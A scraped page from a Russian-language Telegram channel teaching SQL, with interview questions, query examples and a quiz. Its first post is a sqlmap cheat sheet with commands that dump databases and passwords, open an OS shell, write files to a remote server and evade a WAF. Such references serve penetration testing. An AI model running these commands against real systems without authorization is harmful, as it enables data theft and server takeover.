SQL и БД Learning – Telegram
SQL и БД Learning
10.2K subscribers
797 photos
9 videos
22 files
445 links
№ 5060218708

Изучаем SQL с нуля

По всем вопросам @mascarov_valentin

Реклама на бирже - https://telega.in/c/SQl_and_DB_Learning
Download Telegram
🔐 Шпаргалка по использованию sqlmap

SQLMAP — это инструмент для проникновения с открытым исходным кодом.

SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .

Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.

🌟 Базовый скан URL на наличие уязвимостей:

sqlmap -u "http://example.com/page.php?id=1"


🌟 Автоматический дамп всех баз данных:

sqlmap -u "http://example.com/page.php?id=1" --dbs


🌟 Извлечение таблиц из конкретной базы данных:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных --tables


🌟 Извлечение данных из конкретной таблицы:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --dump


🌟 Обход WAF (брандмауэра) с помощью указания пользовательского заголовка User-Agent:

sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"


🌟 Подбор базы данных и получение информации о пользователях:

sqlmap -u "http://example.com/page.php?id=1" --current-db --current-user


🌟 Включение интерактивной оболочки (OS Shell) для удаленного выполнения команд:

sqlmap -u "http://example.com/page.php?id=1" --os-shell


🌟 Выполнение SQL-запросов вручную:

sqlmap -u "http://example.com/page.php?id=1" --sql-query "SELECT user, password FROM users"


🌟 Проверка на возможность подключения с правами администратора:

sqlmap -u "http://example.com/page.php?id=1" --is-dba


🌟 Брутфорсирование паролей пользователей:

sqlmap -u "http://example.com/page.php?id=1" --passwords


🌟 Загрузка файла на удаленный сервер:

sqlmap -u "http://example.com/page.php?id=1" --file-write="/path/to/local/file" --file-dest="/path/to/remote/file"


🌟 Получение списка столбцов из таблицы:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --columns


🌟 Использование прокси-сервера:

sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"


🌟 Определение используемой базы данных и версии:

sqlmap -u "http://example.com/page.php?id=1" --banner


🌟 Атака на POST-запросы (если параметры передаются в теле):

sqlmap -u "http://example.com/login.php" --data="username=admin&password=admin"
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍4
Задача

Выбрать все записи из таблицы tbl_name и отсортировать их по полю id в обратном порядке.
👍10
Каким образом можно получить список клиентов, которые сделали хотя бы один заказ в каждом месяце в течение последних трех месяцев?

Для получения списка клиентов, которые сделали хотя бы один заказ в каждом месяце в течение последних трех месяцев, можно использовать подзапросы и агрегатные функции.

Надежный подход к решению этой задачи включает подзапрос, который связывается с основной таблицей по идентификатору клиента (customer_id). В подзапросе используется агрегатная функция COUNT() для подсчета количества уникальных месяцев, в которых клиент сделал заказ, и группировка по месяцу (MONTH()). Затем условие HAVING применяется к подзапросу для определения, что клиент сделал заказ во всех трех месяцах.
1👍12
#Вопросы_с_собеседования

При выборке из таблицы workers выведите дату в формате '31.12.2025'

Ответ на картинке.
👍10
Создание поля, объединяющего имя и зарплату в выборке из таблицы пользователей

Для создания поля, которое будет включать в себя и имена, и зарплату, можно использовать функцию CONCAT(). Она объединяет две или более строковые величины в одну строку.

Пример SQL-запроса для создания поля new_field на фото.

В примере мы выбираем таблицу users и создаем новое поле с помощью функции CONCAT(). Внутри функции указываем два поля, которые хотим объединить - name и salary. Также задаем новое имя для созданного поля - new_field, используя AS.

Теперь в результате выполнения запроса в выборке будет присутствовать новое поле new_field, которое будет содержать имя пользователя и его зарплату.
👍8
🖥 Список СУБД
Please open Telegram to view this post
VIEW IN TELEGRAM
👍20😁6
Компактная таблица-шпаргалка по SQL.

Шпаргалка
👍15
This media is not supported in your browser
VIEW IN TELEGRAM
TRUNCATE мгновенно удаляет все строки в таблице

Одновременно удалите строки из дочерних таблиц с помощью функции

TRUNCATE TABLE ... CASCADE

Для этого внешние ключи должны быть ON DELETE CASCADE
👍11
Какой результат вернет следующий PostgreSQL/MySQL запрос:
SELECT GREATEST (6.62, - 8, '82') ;
Anonymous Quiz
24%
6.62
2%
- 8
26%
82
30%
Ошибка
19%
Посмотреть ответы
👍14
#Вопросы_с_собеседования

В чем разница между функциями NOW() и CURRENT_DATE() в PostgreSQL/MySQL?

NOW() возвращает время, когда начал исполняться оператор.

Основное различие между NOW() и CURRENT_DATE() заключается в том, что NOW() получает текущую дату и время в формате 'YYYY-MM-DD HH:MM:SS', а CURRENT_DATE() получает дату текущего дня 'YYYY-MM-DD'.
👍4❤‍🔥1
Делаем SQL-запросы чище

Периодически в коде запросов и "заточенных" под них индексов наблюдаю примерно подобные куски:

coalesce("Фамилия", '') || ' ' || coalesce("Имя", '') || ' ' || coalesce("Отчество", '')


Понятно, что тут хотели обезопасить себя от заполненности любого из полей NULL-значением, чтобы случайно вся строка не заNULL'илась.

Правда, тут возникают некоторые артефакты в виде "висящих пробелов" типа ' Иван Иванович' или 'Иванов Иван '.

Но ведь есть решение изящнее и проще - функция concat_ws:
concat_ws(' ', "Фамилия", "Имя", "Отчество")
👍10
🖥 Предположим, что нам необходимо получить данные о сотруднике, имеющем вторую по величине зарплату в компании. Мы можем использовать следующий запрос:

WITH employee_ranking AS (
SELECT
employee_id,
last_name,
first_name,
salary,
RANK() OVER (ORDER BY salary DESC) as ranking
FROM employee
)
SELECT
employee_id,
last_name,
first_name,
salary
FROM employee_ranking
WHERE ranking = 2

Условие WHERE ranking = 2 используется для фильтрации строк второй по величине зарплаты. Обратите внимание, что на позиции 2 может находиться более одного сотрудника, если у них одинаковая зарплата.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍18
Простой и эффективный метод удаления дубликатов из таблицы

Предположим, у нас есть простая таблица с двумя столбцами: id – это первичный ключ и v простое целочисленное значение

Приведенный код создает таблицу и вставляет несколько значений. Выведем на экран все строки из нашей тестовой таблицы. Как видите, id имеет уникальные значения, но поле val имеет содержит дубликаты (фото 1).

Наша задача состоит в том, чтобы удалить строки с поввторяющимися значениями в столбце val и сохранить уникальные значения с минимальным значением идентификатора id.

Для начала попробуем найти дубликаты. Мы можем использовать простое LEFT JOIN таблицы самой с собой по полю val с дополнительным условием для предотвращения объединения идентичных строк (для наглядности дадим алиасы для таблицы и копии) (фото 2).

В конечном итоге видно, что уникальные строки с минимальным id имеют (null) в столбцах из copy_tbl. Это происходит потому что для минимального значения id в исходной таблице нет строк соответсвующих условию в таблице копии. Итак, нам нужно оставить строки в которых нет соответствия (уникальные) и удалить. Это можно осуществить следующим запросом (фото 2).
👍10
NOT NULL в CREATE TABLE

Следующий SQL гарантирует, что столбцы "ID", "LastName", и "FirstName" не будут принимать нулевые значения при создании таблицы "Persons".
👍12
#Вопросы_с_собеседования

Какие ограничения на целостность данных существуют в SQL?

PRIMARY KEY - набор полей (1 или более), значения которых образуют уникальную комбинацию и используются для однозначной идентификации записи в таблице. Для таблицы может быть создано только одно такое ограничение. Данное ограничение используется для обеспечения целостности сущности, которая описана таблицей.

CHECK используется для ограничения множества значений, которые могут быть помещены в данный столбец. Это ограничение используется для обеспечения целостности предметной области, которую описывают таблицы в базе.

UNIQUE обеспечивает отсутствие дубликатов в столбце или наборе столбцов.

FOREIGN KEY защищает от действий, которые могут нарушить связи между таблицами. FOREIGN KEY в одной таблице указывает на PRIMARY KEY в другой. Поэтому данное ограничение нацелено на то, чтобы не было записей FOREIGN KEY, которым не отвечают записи PRIMARY KEY.
👍10
🖥 Предположим, что нам необходимо получить данные о сотруднике, имеющем вторую по величине зарплату в компании. Мы можем использовать следующий запрос:

WITH employee_ranking AS (
SELECT
employee_id,
last_name,
first_name,
salary,
RANK() OVER (ORDER BY salary DESC) as ranking
FROM employee
)
SELECT
employee_id,
last_name,
first_name,
salary
FROM employee_ranking
WHERE ranking = 2

Условие WHERE ranking = 2 используется для фильтрации строк второй по величине зарплаты. Обратите внимание, что на позиции 2 может находиться более одного сотрудника, если у них одинаковая зарплата.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13